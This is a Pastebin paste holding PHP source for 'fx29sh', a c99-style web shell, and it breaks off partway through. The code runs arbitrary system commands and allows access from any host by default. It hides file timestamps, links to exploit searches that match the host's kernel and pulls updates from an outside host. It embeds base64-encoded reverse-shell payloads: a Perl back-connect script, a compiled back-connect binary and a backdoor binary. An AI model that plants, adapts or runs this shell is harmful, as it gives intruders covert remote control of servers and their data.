API tools faq
paste
G4L0

shell

G4L0
Aug 24th, 2011
1,871
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 189.14 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. $sh_id = "RmFUYUxpc1RpQ3pfRnggRngyOVNoZUxMIHY=";
  3. $sh_ver = "1.5 06.2008";
  4. $sh_name = base64_decode($sh_id).$sh_ver;
  5. $sh_mainurl = "http://legalref.ru/config/";
  6. $html_start = ''.
  7. '<html><head>
  8. <title>'.getenv("HTTP_HOST").' - '.$sh_name.'</title>
  9. <style type="text/css">
  10. <!--
  11. body,table { font-family:verdana;font-size:11px;color:white;background-color:black; }
  12. table { width:100%; }
  13. table,td { border:1px solid #808080;margin-top:2;margin-bottom:2;padding:5px; }
  14. a { color:lightblue;text-decoration:none; }
  15. a:active { color:#00FF00; }
  16. a:link { color:#5B5BFF; }
  17. a:hover { text-decoration:underline; }
  18. a:visited { color:#99CCFF; }
  19. input,select,option { font:8pt tahoma;color:#FFFFFF;margin:2;border:1px solid #666666; }
  20. textarea { color:#dedbde;font:fixedsys bold;border:1px solid #666666;margin:2; }
  21. .fleft { float:left;text-align:left; }
  22. .fright { float:right;text-align:right; }
  23. #pagebar { font:10pt tahoma;padding:5px; border:3px solid #1E1E1E; border-collapse:collapse; }
  24. #pagebar td { vertical-align:top; }
  25. #pagebar p { font:8pt tahoma;}
  26. #pagebar a { font-weight:bold;color:#00FF00; }
  27. #pagebar a:visited { color:#00CE00; }
  28. #mainmenu { text-align:center; }
  29. #mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
  30. #maininfo,.barheader,.barheader2 { text-align:center; }
  31. #maininfo td { padding:3px; }
  32. .barheader { font-weight:bold;padding:5px; }
  33. .barheader2 { padding:5px;border:2px solid #1F1F1F; }
  34. .contents,.explorer { border-collapse:collapse;}
  35. .contents td { vertical-align:top; }
  36. .mainpanel { border-collapse:collapse;padding:5px; }
  37. .barheader,.mainpanel table,td { border:1px solid #333333; }
  38. .mainpanel input,select,option { border:1px solid #333333;margin:0; }
  39. input[type="submit"] { border:1px solid #000000; }
  40. input[type="text"] { padding:3px;}
  41. .shell { background-color:#C0C0C0;color:#000080;padding:5px; }
  42. .fxerrmsg { color:red; font-weight:bold; }
  43. #pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
  44. #pagebar,.mainpanel,input[type="submit"] { background-color:#4A4A4A; }
  45. .barheader2,input,select,option,input[type="submit"]:hover { background-color:#333333; }
  46. textarea,.mainpanel input,select,option { background-color:#000000; }
  47. // -->
  48. </style>
  49. </head>
  50. <body>
  51. ';
  52. //Authentication
  53. $login = "";
  54. $pass = "";
  55. $md5_pass = ""; //Password yg telah di enkripsi dg md5. Jika kosong, md5($pass).
  56. $host_allow = array("*"); //Contoh: array("192.168.0.*","127.0.0.1")
  57. $login_txt = "Restricted Area"; //Pesan HTTP-Auth
  58. $accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied";
  59. $gzipencode = TRUE;
  60. $updatenow = FALSE; //Jika TRUE, update shell sekarang.
  61. $c99sh_updateurl = $sh_mainurl."fx29sh_update.php";
  62. $c99sh_sourcesurl = $sh_mainurl."fx29sh_source.txt";
  63. //$c99sh_updateurl = "http://localhost/toolz/fx29sh_update.php";
  64. //$c99sh_sourcesurl = "http://localhost/toolz/fx29sh_source.txt";
  65. $filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses.
  66. $curdir = "./";
  67. $tmpdir = "";
  68. $tmpdir_log = "./";
  69. $log_email = "feelcomz@gmail.com"; //email untuk pengiriman log.
  70. $sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
  71. $sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan cookies.
  72. $sess_cookie = "c99shvars"; //Nama variabel Cookie
  73. $usefsbuff = TRUE; //Buffer-function
  74. $copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste
  75. $hexdump_lines = 8;
  76. $hexdump_rows = 24;
  77. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  78. $disablefunc = @ini_get("disable_functions");
  79. if (!empty($disablefunc)) {
  80. $disablefunc = str_replace(" ","",$disablefunc);
  81. $disablefunc = explode(",",$disablefunc);
  82. }
  83. //Functions
  84. function get_phpini() {
  85. function U_wordwrap($str) {
  86. $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  87. return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  88. }
  89. function U_value($value) {
  90. if ($value == '') return '<i>no value</i>';
  91. if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  92. if ($value === null) return 'NULL';
  93. if (@is_object($value)) $value = (array) $value;
  94. if (@is_array($value)) {
  95. @ob_start();
  96. print_r($value);
  97. $value = @ob_get_contents();
  98. @ob_end_clean();
  99. }
  100. return U_wordwrap((string) $value);
  101. }
  102. if (@function_exists('ini_get_all')) {
  103. $r = "";
  104. echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
  105. foreach (@ini_get_all() as $key=>$value) {
  106. $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
  107. }
  108. echo $r;
  109. echo "</table>";
  110. }
  111. }
  112. function disp_drives($curdir,$surl) {
  113. $letters = "";
  114. $v = explode("\\",$curdir);
  115. $v = $v[0];
  116. foreach (range("A","Z") as $letter) {
  117. $bool = $isdiskette = $letter == "A";
  118. if (!$bool) {$bool = is_dir($letter.":\\");}
  119. if ($bool) {
  120. $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
  121. ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
  122. if ($letter.":" != $v) {$letters .= $letter;}
  123. else {$letters .= "<font color=yellow>".$letter."</font>";}
  124. $letters .= "]</a> ";
  125. }
  126. }
  127. if (!empty($letters)) {Return $letters;}
  128. else {Return "None";}
  129. }
  130. if (is_callable("disk_free_space")) {
  131. function disp_freespace($curdrv) {
  132. $free = disk_free_space($curdrv);
  133. $total = disk_total_space($curdrv);
  134. if ($free === FALSE) {$free = 0;}
  135. if ($total === FALSE) {$total = 0;}
  136. if ($free < 0) {$free = 0;}
  137. if ($total < 0) {$total = 0;}
  138. $used = $total-$free;
  139. $free_percent = round(100/($total/$free),2)."%";
  140. $free = view_size($free);
  141. $total = view_size($total);
  142. return "$free of $total ($free_percent)";
  143. }
  144. }
  145. //w4ck1ng Shell
  146. if (!function_exists("myshellexec")) {
  147. if(is_callable("popen")) {
  148. function myshellexec($cmd) {
  149. if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
  150. while (!feof($p)) {
  151. $line=fgets($p,1024);
  152. $out .= $line;
  153. }
  154. pclose($p);
  155. return $out;
  156. }
  157. } else {
  158. function myshellexec($cmd) {
  159. global $disablefunc;
  160. $result = "";
  161. if (!empty($cmd)) {
  162. if (is_callable("exec") and !in_array("exec",$disablefunc)) {
  163. exec($cmd,$result);
  164. $result = join("\n",$result);
  165. } elseif (($result = $cmd) !== FALSE) {
  166. } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
  167. $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
  168. } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
  169. $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
  170. } elseif (is_resource($fp = popen($cmd,"r"))) {
  171. $result = "";
  172. while(!feof($fp)) { $result .= fread($fp,1024); }
  173. pclose($fp);
  174. }
  175. }
  176. return $result;
  177. }
  178. }
  179. }
  180. function ex($cfe) {
  181. $res = '';
  182. if (!empty($cfe)) {
  183. if(function_exists('exec')) {
  184. @exec($cfe,$res);
  185. $res = join("\n",$res);
  186. } elseif(function_exists('shell_exec')) {
  187. $res = @shell_exec($cfe);
  188. } elseif(function_exists('system')) {
  189. @ob_start();
  190. @system($cfe);
  191. $res = @ob_get_contents();
  192. @ob_end_clean();
  193. } elseif(function_exists('passthru')) {
  194. @ob_start();
  195. @passthru($cfe);
  196. $res = @ob_get_contents();
  197. @ob_end_clean();
  198. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  199. $res = "";
  200. while(!@feof($f)) { $res .= @fread($f,1024); }
  201. @pclose($f);
  202. } else { $res = "Ex() Disabled!"; }
  203. }
  204. return $res;
  205. }
  206. function which($pr) {
  207. $path = ex("which $pr");
  208. if(!empty($path)) { return $path; } else { return $pr; }
  209. }
  210. //End of w4ck1ng Shell
  211.  
  212. //Start Enumerate function
  213. $hostname_x = php_uname(n);
  214. $itshome = getcwd();
  215. if (!$win) {
  216. $itshome = str_replace("/home/","~",$itshome);
  217. $itshome = str_replace("/public_html","/fx29sh.php",$itshome);
  218. }
  219. else { $itshome = ""; }
  220. $enumerate = "http://".$hostname_x."/".$itshome."";
  221. //End Enumerate function
  222.  
  223. //milw0rm search
  224. $Lversion = php_uname(r);
  225. $OSV = php_uname(s);
  226. if(eregi("Linux",$OSV)) {
  227. $Lversion=substr($Lversion,0,6);
  228. $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
  229. } else {
  230. $Lversion=substr($Lversion,0,3);
  231. $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
  232. }
  233. //End of milw0rm search
  234.  
  235. //Backdoor
  236. $back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  237. $back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";
  238. $backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAA